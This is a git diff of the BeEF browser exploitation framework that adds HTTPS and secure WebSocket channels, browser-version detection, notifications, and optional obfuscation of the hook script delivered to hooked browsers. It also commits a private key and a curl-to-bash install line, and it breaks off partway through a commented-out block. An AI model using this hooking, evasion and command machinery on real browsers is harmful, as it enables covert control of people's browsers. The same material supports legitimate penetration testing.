diff --git a/Gemfile b/Gemfile index cd4bb331e..155418d9b 100644 --- a/Gemfile +++ b/Gemfile @@ -39,6 +39,9 @@ gem "erubis" gem "dm-migrations" gem "msfrpc-client" +# notifications +gem "twitter" + if ENV['BEEF_TEST'] # for running unit tests gem "test-unit" diff --git a/README.mkd b/README.mkd index 79df0d1af..272b5ae76 100644 --- a/README.mkd +++ b/README.mkd @@ -72,7 +72,7 @@ __The following is for the impatient.__ For full installation details (including on Microsoft Windows), please refer to INSTALL.txt. - $ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef) + $ curl https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable Usage diff --git a/VERSION b/VERSION index f9105b3dc..ea837d9ad 100644 --- a/VERSION +++ b/VERSION @@ -14,4 +14,4 @@ # limitations under the License. # -0.4.3.6-alpha +0.4.3.7-alpha diff --git a/beef b/beef index 6302be317..2a9672d46 100755 --- a/beef +++ b/beef @@ -81,7 +81,7 @@ Socket.do_not_reverse_lookup = true case config.get("beef.database.driver") when "sqlite" DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}") - when "mysql","postgres" + when "mysql", "postgres" DataMapper.setup(:default, :adapter => config.get("beef.database.driver"), :host => config.get("beef.database.db_host"), @@ -124,12 +124,13 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}" #@note Starts the WebSocket server if config.get("beef.http.websocket.enable") BeEF::Core::Websocket::Websocket.instance - print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + if config.get("beef.http.websocket.secure") + print_info "Starting WebSocketSecure server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]" + end end - - # @note Call the API method 'pre_http_start' BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) @@ -140,7 +141,7 @@ if config.get("beef.extension.console.shell.enable") == true begin FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder"))) BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt, - BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run + BeEF::Extension::Console::Shell::DefaultPromptChar, {'config' => config, 'http_hook_server' => http_hook_server}).run rescue Interrupt end else diff --git a/beef_cert.pem b/beef_cert.pem new file mode 100644 index 000000000..9ac7ab1ba --- /dev/null +++ b/beef_cert.pem @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDDjCCAnegAwIBAgIJAKNYRH/AaB3DMA0GCSqGSIb3DQEBBQUAMIGfMQswCQYD +VQQGEwJBVTEUMBIGA1UECAwLQm92aW5lIExhbmQxDTALBgNVBAcMBEJlRUYxDTAL +BgNVBAoMBEJlRUYxDTALBgNVBAsMBEJlRUYxJzAlBgNVBAMMHkJyb3dzZXIgRXhw +bG9pdGF0aW9uIEZyYW1ld29yazEkMCIGCSqGSIb3DQEJARYVQmVFRkBkb250d3Jp +dGVtZS5CZUVGMB4XDTEyMDgwNjEzMDUzOFoXDTEzMDgwNjEzMDUzOFowgZ8xCzAJ +BgNVBAYTAkFVMRQwEgYDVQQIDAtCb3ZpbmUgTGFuZDENMAsGA1UEBwwEQmVFRjEN +MAsGA1UECgwEQmVFRjENMAsGA1UECwwEQmVFRjEnMCUGA1UEAwweQnJvd3NlciBF +eHBsb2l0YXRpb24gRnJhbWV3b3JrMSQwIgYJKoZIhvcNAQkBFhVCZUVGQGRvbnR3 +cml0ZW1lLkJlRUYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALCxzu+rOTt2 +VBM5X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP +0l+pKgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0Z +F/0y0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAGjUDBOMB0GA1UdDgQWBBTaXny0 +kTye7CAr0ronsg0ob63+kTAfBgNVHSMEGDAWgBTaXny0kTye7CAr0ronsg0ob63+ +kTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4GBABTy5s/XRd6iBwxOgV6N +B+cTRgmgHciujbI+0p4TkOkHvQPhhcD3207ndWWwv+Mc2XeQcXNaOfYUDkeCs64N +JffqThykYOdagvCu1Gecw9BEKeijS9MAuNvtvP7fcUNUql+VeTFbxMBPGDhusafz +GkY0IBg9+j6XX4JwEXxCGt0a +-----END CERTIFICATE----- diff --git a/beef_key.pem b/beef_key.pem new file mode 100644 index 000000000..1c2fc0ea9 --- /dev/null +++ b/beef_key.pem @@ -0,0 +1,16 @@ +-----BEGIN PRIVATE KEY----- +MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALCxzu+rOTt2VBM5 +X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP0l+p +KgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0ZF/0y +0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAECgYAKpDrNTmedACxiGAN8hPXGKCw3 +HlLuBKTRLJ/Mgel29DxeIy5gXnAuCaQzXKKTPabJxIugj5r9pH4MCtkf1T15Aib6 +4MFdx4UegllMUo7eUiuCtSmK9s0wEtJjShujBl4qQ10ZtWUh4Vd/clS88IjM/iPI +5Ocoph5PUgFt/tX7DQJBAOkGptgdri39bRiSGaR/Si6YYpmMUFoQt+s2id8yH9QS +26o8cHZKCahSiWLNi4rSzEJIOpXnP3n+Dcq2JttDWGcCQQDCHWgWSpdnX8uqp/Qo +yp0RZJwyBFoba4bWhzoQJj+39P0+4FBaMlZyLHZ7nd4z0JiE5S3qA9xi8zjQVrrI +rTWnAkEAmpPxBZfavWNJhW0VWYue1/36GkV73+MLPhq1pruHZZUE5o6lQ7KlaWUn +AcW79WEUYjursVjvQKuI1pmyeOzZrQJBAIGQHSxbxyjBgPA8QDSF4EZ+r96Wlwoc +QBiqk6+5x+fiBrJUCG3bkWWNldu2qFxPS63QRlAfGZeWHgK5ENzm95sCQQCe81hU +WaVM9bmt0ZvfhfQXfgvf3xKNUFemd4skTMUDgNCH1OFULB/Mz16kJDdy0q0qUS88 +yBgay+U9QuoEO425 +-----END PRIVATE KEY----- diff --git a/config.yaml b/config.yaml index b9d4f8f08..46c5e98c0 100644 --- a/config.yaml +++ b/config.yaml @@ -16,7 +16,7 @@ # BeEF Configuration file beef: - version: '0.4.3.6-alpha' + version: '0.4.3.7-alpha' debug: false restrictions: @@ -42,8 +42,9 @@ beef: # Prefer WebSockets over XHR-polling when possible. websocket: enable: false - secure: false # use WebSocketSecure - port: 11989 + secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF + port: 61985 # WS: good success rate through proxies + secure_port: 61986 # WSS alive_timer: 1000 # poll BeEF every second # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) @@ -51,6 +52,14 @@ beef: enable: false type: "apache" #supported: apache, iis + # Experimental HTTPS support for the hook / admin / all other Thin managed web services + https: + enable: false + # In production environments, be sure to use a valid certificate signed for the value + # used in beef.http.dns (the domain name of the server where you run BeEF) + key: "beef_key.pem" + cert: "beef_cert.pem" + database: # For information on using other databases please read the # README.databases file diff --git a/core/main/client/are.js b/core/main/client/are.js index f1c7588d8..4cdcff84b 100644 --- a/core/main/client/are.js +++ b/core/main/client/are.js @@ -1,4 +1,18 @@ - +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.are = { init:function(){ var Jools = require('jools'); diff --git a/core/main/client/browser.js b/core/main/client/browser.js index cf1a5c174..42bfcaca0 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -211,13 +211,21 @@ beef.browser = { isS5: function() { return (window.navigator.userAgent.match(/ Version\/5\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome); }, + + /** + * Returns true if Safari 6.xx + * @example: beef.browser.isS6() + */ + isS6: function() { + return (window.navigator.userAgent.match(/ Version\/6\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome); + }, /** * Returns true if Safari. * @example: beef.browser.isS() */ isS: function() { - return this.isS4() || this.isS5() || (!window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome); + return this.isS4() || this.isS5() || this.isS6() || (!window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome); }, /** @@ -348,12 +356,20 @@ beef.browser = { return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==20)?true:false); }, + /** + * Returns true if Chrome 21. + * @example: beef.browser.isC21() + */ + isC21: function() { + return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==21)?true:false); + }, + /** * Returns true if Chrome. * @example: beef.browser.isC() */ isC: function() { - return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20(); + return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20() || this.isC21(); }, /** @@ -429,6 +445,7 @@ beef.browser = { C18: this.isC18(), // Chrome 18 C19: this.isC19(), // Chrome 19 C20: this.isC20(), // Chrome 20 + C21: this.isC21(), // Chrome 21 C: this.isC(), // Chrome any version FF2: this.isFF2(), // Firefox 2 @@ -463,6 +480,7 @@ beef.browser = { S4: this.isS4(), // Safari 4.xx S5: this.isS5(), // Safari 5.xx + S6: this.isS6(), // Safari 6.x S: this.isS() // Safari any version } }, @@ -491,8 +509,9 @@ beef.browser = { if (this.isC18()) { return '18' }; // Chrome 18 if (this.isC19()) { return '19' }; // Chrome 19 if (this.isC20()) { return '20' }; // Chrome 20 + if (this.isC21()) { return '21' }; // Chrome 21 - if (this.isFF2()) { return '2' }; // Firefox 2 + if (this.isFF2()) { return '2' }; // Firefox 2 if (this.isFF3()) { return '3' }; // Firefox 3 if (this.isFF3_5()) { return '3.5'}; // Firefox 3.5 if (this.isFF3_6()) { return '3.6'}; // Firefox 3.6 @@ -515,8 +534,9 @@ beef.browser = { if (this.isS4()) { return '4' }; // Safari 4 if (this.isS5()) { return '5' }; // Safari 5 + if (this.isS6()) { return '6' }; // Safari 5 - if (this.isO9_52()) { return '9.5'}; // Opera 9.5x + if (this.isO9_52()) { return '9.5'}; // Opera 9.5x if (this.isO9_60()) { return '9.6'}; // Opera 9.6 if (this.isO10()) { return '10' }; // Opera 10.xx if (this.isO11()) { return '11' }; // Opera 11.xx diff --git a/core/main/client/net.js b/core/main/client/net.js index 66daf0245..9b471f4fd 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -23,6 +23,7 @@ beef.net = { host:"<%= @beef_host %>", port:"<%= @beef_port %>", hook:"<%= @beef_hook %>", + httpproto:"<%= @beef_proto %>", handler:'/dh', chop:500, pad:30, //this is the amount of padding for extra params such as pc, pid and sid @@ -137,7 +138,7 @@ beef.net = { push:function (stream) { //need to implement wait feature here eventually for (var i = 0; i < stream.pc; i++) { - this.request(this.port == '443' ? 'https' : 'http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null); + this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null); } }, diff --git a/core/main/client/timeout.js b/core/main/client/timeout.js new file mode 100644 index 000000000..6aab560cf --- /dev/null +++ b/core/main/client/timeout.js @@ -0,0 +1,26 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +/* + Sometimes there are timing issues and looks like beef_init + is not called at all (always in cross-domain situations, + for example calling the hook with jquery getScript, + or sometimes with event handler injections). + + To fix this, we call again beef_init after 1 second. + Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece + antisnatchor + */ +setTimeout(beef_init, 1000); \ No newline at end of file diff --git a/core/main/client/updater.js b/core/main/client/updater.js index 4987de6f8..d8bbb13cc 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -66,7 +66,7 @@ beef.updater = { get_commands: function(http_response) { try { this.lock = true; - beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) { + beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) { if (response.body != null && response.body.length > 0) beef.updater.execute_commands(); }); diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 25ccdeeba..69ab27515 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -27,15 +27,18 @@ beef.websocket = { var webSocketPort = <%= @websocket_port %>; var webSocketSecure = <%= @websocket_secure %>; var protocol = "ws://"; - - if(webSocketSecure) + //console.log("We are inside init"); + /*use wss only if hooked domain is under https. Mixed-content in WS is quite different from a non-WS context*/ + if(webSocketSecure && window.location.protocol=="https:"){ protocol = "wss://"; + webSocketPort= <%= @websocket_sec_port %>; + } - if (beef.browser.isFF() && !!window.MozWebSocket) { - beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); + if (beef.browser.isFF() && !!window.MozWebSocket) { + beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); } else { - beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); + beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/"); } }, @@ -43,10 +46,10 @@ beef.websocket = { start:function () { new beef.websocket.init(); this.socket.onopen = function () { - //console.log("Socket has been opened!"); + //console.log("Socket has been opened!"); - /*send browser id*/ - beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}'); + /*send browser id*/ + beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}'); //console.log("Connected and Helo"); beef.websocket.alive(); } diff --git a/core/main/console/banners.rb b/core/main/console/banners.rb index 3621d20e9..7372c62df 100644 --- a/core/main/console/banners.rb +++ b/core/main/console/banners.rb @@ -89,12 +89,13 @@ module Banners def print_network_interfaces_routes configuration = BeEF::Core::Configuration.instance + prototxt = configuration.get("beef.http.https.enable") == true ? "https" : "http" self.interfaces.map do |host| # display the important URLs on each interface from the interfaces array print_success "running on network interface: #{host}" beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port") - data = "Hook URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n" - data += "UI URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n" + data = "Hook URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n" + data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n" print_more data end diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 0ad19d01f..8e30ae735 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -14,126 +14,152 @@ # limitations under the License. # module BeEF -module Core -module Handlers -module Modules + module Core + module Handlers + module Modules - # @note Purpose: avoid rewriting several times the same code. - module BeEFJS + # @note Purpose: avoid rewriting several times the same code. + module BeEFJS - # Builds the default beefjs library (all default components of the library). - # @param [Object] req_host The request object - def build_beefjs!(req_host) - config = BeEF::Core::Configuration.instance - # @note set up values required to construct beefjs - beefjs = '' - # @note location of sub files - beefjs_path = "#{$root_dir}/core/main/client/" - # @note we load websocket library only if ws server is enabled in config.yalm - # check in init.js - if config.get("beef.http.websocket.enable") + # Builds the default beefjs library (all default components of the library). + # @param [Object] req_host The request object + def build_beefjs!(req_host) + config = BeEF::Core::Configuration.instance + # @note set up values required to construct beefjs + beef_js = '' + # @note location of sub files + beef_js_path = "#{$root_dir}/core/main/client/" - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js) - else - js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js) + # @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated + ext_js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js) + # @note Load websocket library only if WS server is enabled in config.yaml + if config.get("beef.http.websocket.enable") == false + # @note BeEF libraries: need Eruby evaluation and obfuscation #antisnatchor: leave timeout.js as the last one! + beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js timeout.js) + else #antisnatchor: leave timeout.js as the last one! + beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js timeout.js) + end - end + ext_js_to_obfuscate = '' + ext_js_to_not_obfuscate = '' - # @note construct the beefjs string from file(s) - js_sub_files.each {|js_sub_file_name| - js_sub_file_abs_path = beefjs_path + js_sub_file_name - beefjs << (File.read(js_sub_file_abs_path) + "\n\n") - } + # @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate + # @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate + ext_js_sub_files.each{ |ext_js_sub_file| + if config.get("beef.extension.evasion.enable") + if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file) + print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list" + # do not obfuscate the file + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + else + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + end + else + # Evasion is not enabled, do not obfuscate anything + ext_js_sub_file_path = beef_js_path + ext_js_sub_file + ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n") + end + } - # @note create the config for the hooked browser session + # @note construct the beef_js string from file(s) + beef_js_sub_files.each { |beef_js_sub_file| + beef_js_sub_file_path = beef_js_path + beef_js_sub_file + beef_js << (File.read(beef_js_sub_file_path) + "\n\n") + } - hook_session_name = config.get('beef.http.hook_session_name') - hook_session_config = BeEF::Core::Server.instance.to_h + # @note create the config for the hooked browser session + hook_session_config = BeEF::Core::Server.instance.to_h - # @note if http_host="0.0.0.0" in config ini, use the host requested by client - if hook_session_config['beef_host'].eql? "0.0.0.0" - hook_session_config['beef_host'] = req_host - hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) - end + # @note if http_host="0.0.0.0" in config ini, use the host requested by client + if hook_session_config['beef_host'].eql? "0.0.0.0" + hook_session_config['beef_host'] = req_host + hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) + end - # @note if http_port <> public_port in config ini, use the public_port - unless hook_session_config['beef_public_port'].nil? - if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] - hook_session_config['beef_port'] = hook_session_config['beef_public_port'] - hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) - if hook_session_config['beef_public_port'] == '443' - hook_session_config['beef_url'].sub!(/http:/, 'https:') + # @note if http_port <> public_port in config ini, use the public_port + unless hook_session_config['beef_public_port'].nil? + if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] + hook_session_config['beef_port'] = hook_session_config['beef_public_port'] + hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port']) + if hook_session_config['beef_public_port'] == '443' + hook_session_config['beef_url'].sub!(/http:/, 'https:') + end + end + end + + # @note Set some WebSocket properties + if config.get("beef.http.websocket.enable") + hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") + hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") + hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer") + hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") + end + + # @note populate place holders in the beef_js string and set the response body + eruby = Erubis::FastEruby.new(beef_js) + @hook = eruby.evaluate(hook_session_config) + + if config.get("beef.extension.evasion.enable") + evasion = BeEF::Extension::Evasion::Evasion.instance + @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook) + @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate) + @hook + else + @final_hook = ext_js_to_not_obfuscate + @hook + end + + # @note Return the final hook to be sent to the browser + @body << @final_hook + + end + + # Finds the path to js components + # @param [String] component Name of component + # @return [String|Boolean] Returns false if path was not found, otherwise returns component path + def find_beefjs_component_path(component) + component_path = component + component_path.gsub!(/beef./, '') + component_path.gsub!(/\./, '/') + component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" + + return false if not File.exists? component_path + + component_path + end + + # Builds missing beefjs components. + # @param [Array] beefjs_components An array of component names + def build_missing_beefjs_components(beefjs_components) + # @note verifies that @beef_js_cmps is not nil to avoid bugs + @beef_js_cmps = '' if @beef_js_cmps.nil? + + if beefjs_components.is_a? String + beefjs_components_path = find_beefjs_component_path(beefjs_components) + raise "Invalid component: could not build the beefjs file" if not beefjs_components_path + beefjs_components = {beefjs_components => beefjs_components_path} + end + + beefjs_components.keys.each { |k| + next if @beef_js_cmps.include? beefjs_components[k] + + # @note path to the component + component_path = beefjs_components[k] + + # @note we output the component to the hooked browser + @body << File.read(component_path)+"\n\n" + + # @note finally we add the component to the list of components already generated so it does not get generated numerous times. + if @beef_js_cmps.eql? '' + @beef_js_cmps = component_path + else + @beef_js_cmps += ",#{component_path}" + end + } end end end - - if config.get("beef.http.websocket.enable") - hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") - hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") - hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer") - end - - # @note populate place holders in the beefjs string and set the response body - eruby = Erubis::FastEruby.new(beefjs) - @hook = eruby.evaluate(hook_session_config) - - if config.get("beef.extension.evasion.enable") - evasion = BeEF::Extension::Evasion::Evasion.instance - @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook) - end - - @body << @hook - end - - # Finds the path to js components - # @param [String] component Name of component - # @return [String|Boolean] Returns false if path was not found, otherwise returns component path - def find_beefjs_component_path(component) - component_path = component - component_path.gsub!(/beef./, '') - component_path.gsub!(/\./, '/') - component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js" - - return false if not File.exists? component_path - - component_path - end - - # Builds missing beefjs components. - # @param [Array] beefjs_components An array of component names - def build_missing_beefjs_components(beefjs_components) - # @note verifies that @beef_js_cmps is not nil to avoid bugs - @beef_js_cmps = '' if @beef_js_cmps.nil? - - if beefjs_components.is_a? String - beefjs_components_path = find_beefjs_component_path(beefjs_components) - raise "Invalid component: could not build the beefjs file" if not beefjs_components_path - beefjs_components = {beefjs_components => beefjs_components_path} - end - - beefjs_components.keys.each {|k| - next if @beef_js_cmps.include? beefjs_components[k] - - # @note path to the component - component_path = beefjs_components[k] - - # @note we output the component to the hooked browser - @body << File.read(component_path)+"\n\n" - - # @note finally we add the component to the list of components already generated so it does not get generated numerous times. - if @beef_js_cmps.eql? '' - @beef_js_cmps = component_path - else - @beef_js_cmps += ",#{component_path}" - end - } - end - end - -end -end -end end diff --git a/core/main/logger.rb b/core/main/logger.rb index f9e128d77..623b17ba1 100644 --- a/core/main/logger.rb +++ b/core/main/logger.rb @@ -24,6 +24,10 @@ module Core # Constructor def initialize @logs = BeEF::Core::Models::Log + @config = BeEF::Core::Configuration.instance + + # if notifications are enabled create a new instance + @notifications = BeEF::Extension::Notifications::Notifications unless @config.get('beef.extension.notifications.enable') == false end # Registers a new event in the logs @@ -34,6 +38,9 @@ module Core def register(from, event, hb = 0) # type conversion to enforce standards hb = hb.to_i + + # get time now + time_now = Time.now # arguments type checking raise Exception::TypeError, '"from" needs to be a string' if not from.string? @@ -41,7 +48,12 @@ module Core raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer? # logging the new event into the database - @logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :hooked_browser_id => hb).save + @logs.new(:type => "#{from}", :event => "#{event}", :date => time_now, :hooked_browser_id => hb).save + + # if notifications are enabled send the info there too + if @notifications + @notifications.new(from, event, time_now, hb) + end # return true diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index a24506827..a17d3c35d 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -27,17 +27,156 @@ module BeEF @@activeSocket= Hash.new @@lastalive= Hash.new @@config = BeEF::Core::Configuration.instance + #@@wsopt=nil MOUNTS = BeEF::Core::Server.instance.mounts def initialize - port = @@config.get("beef.http.websocket.port") + + secure = @@config.get("beef.http.websocket.secure") + @root_dir = File.expand_path('../../../../../', __FILE__) + + if (secure) + ws_secure_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.secure_port"), :secure => true, + :tls_options => { + :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"), + :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert") + } + } + # @note Start a WSS server socket + start_websocket_server(ws_secure_options, true) + end + + # @note Start a WS server socket + ws_options = {:host => "0.0.0.0", :port => @@config.get("beef.http.websocket.port")} + start_websocket_server(ws_options,false) + + # #Thread for websocket-secure + # Thread.new { + # port = @@config.get("beef.http.websocket.secure_port") + # sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets + # EventMachine.run { + # + # wsopt = {:host => "0.0.0.0", :port => port, :secure => true, + # :tls_options => { + # :private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"), + # :cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert") + # } + # } + # + # + # EventMachine::WebSocket.start(wsopt) do |ws| + # begin + # print_debug "New WebSocket-secured channel open." + # ws.onmessage { |msg| + # msg_hash = JSON.parse("#{msg}") + # #@note messageHash[result] is Base64 encoded + # if (msg_hash["cookie"]!= nil) + # print_debug("WebSocket-secured - Browser says helo! WebSocket is running") + # #insert new connection in activesocket + # @@activeSocket["#{msg_hash["cookie"]}"] = ws + # print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]") + # elsif msg_hash["alive"] != nil + # hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) + # unless hooked_browser.nil? + # hooked_browser.lastseen = Time.new.to_i + # hooked_browser.count! + # hooked_browser.save + # + # #Check if new modules need to be sent + # zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) + # zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + # + # #@todo antisnatchor: + # #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions + # #Check if new forged requests need to be sent (Requester/TunnelingProxy) + # dhook = BeEF::Extension::Requester::API::Hook.new + # dhook.requester_run(hooked_browser, '') + # + # #Check if new XssRays scan need to be started + # xssrays = BeEF::Extension::Xssrays::API::Scan.new + # xssrays.start_scan(hooked_browser, '') + # end + # else + # #json recv is a cmd response decode and send all to + # #we have to call dynamicreconstructor handler camp must be websocket + # #print_debug("Received from WebSocket #{messageHash}") + # execute(msg_hash) + # end + # } + # rescue Exception => e + # print_error "WebSocket-secured error: #{e}" + # end + # end + # } + # + # } + # + ##Thread for websocket + #Thread.new { + # port = @@config.get("beef.http.websocket.port") + # sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets + # EventMachine.run { + # + # wsopt = {:host => "0.0.0.0", :port => port} + # + # + # 